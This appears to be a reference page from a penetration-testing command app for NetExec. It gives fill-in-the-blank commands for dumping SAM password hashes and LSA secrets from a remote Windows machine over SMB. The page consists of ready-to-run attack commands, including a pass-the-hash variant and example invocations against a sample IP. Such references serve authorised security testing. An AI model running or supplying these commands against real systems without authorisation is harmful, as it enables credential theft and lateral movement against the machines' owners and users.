NetExec SMB SAM & LSA Dump

Dump SAM database and LSA secrets from a remote Windows system via NetExec

Tool
nxc
Category
Credential Attacks / Hash Dumping
Platform
linux
Requires
password
Protocols
SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' --sam --lsa

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' --sam --lsa

With Log File requires password

nxc smb '<ip>' -u '<user>' -p '<password>' --sam --lsa --log nxc-dump

Examples

nxc smb '192.168.1.31' -u 'user' -p 'password' --sam --lsa
nxc smb '192.168.1.31' -u 'user' -p 'password' --sam --lsa --log us-mgmt-sam

Tags

nxc smb sam lsa hashes dump